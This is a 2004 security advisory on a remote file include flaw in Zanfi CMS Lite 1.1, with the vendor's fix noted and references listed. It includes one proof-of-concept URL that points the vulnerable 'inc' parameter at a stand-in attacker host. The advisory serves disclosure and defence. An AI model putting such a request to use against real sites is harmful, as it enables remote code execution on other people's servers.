Zanfi CMS Lite Remote File Include Vulnerability

Bugtraq ID:	11362
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 11 2004 12:00AM
Updated:	Oct 11 2004 12:00AM
Credit:	Discovery is credited to Lin Xiaofeng <[email protected]>.
Vulnerable:	Zanfi Solutions Zanfi CMS Lite 1.1
Not Vulnerable:

Zanfi CMS Lite Remote File Include Vulnerability

Zanfi CMS Lite is reported prone to a remote file include vulnerability. This issue presents itself because the application fails to sanitize user-supplied data properly. This issue may allow an attacker to include malicious files containing arbitrary script code to be executed on a vulnerable computer.

Zanfi CMS Lite 1.1 is reported prone to this vulnerability. It is possible that other versions are affected as well.

Zanfi CMS Lite Remote File Include Vulnerability

An exploit is not required to leverage this issue.

The following proof of concept example is available:
http://www.example.com/index.php?inc=http://[Attacker]

Zanfi CMS Lite Remote File Include Vulnerability

Solution:
The vendor has released a fixed version of the affected software dealing with this issue.


Zanfi Solutions Zanfi CMS Lite 1.1

• Zanfi Solutions Zanfi Cms Lite 1.1
  http://www.zanfi.nl/index1.php?flag=cmslite

Zanfi CMS Lite Remote File Include Vulnerability

References:

• Zanfi Home Page (Zanfi Solutions)
  
• Multiple vulnerabilities in ZanfiCmsLite (Lin Xiaofeng )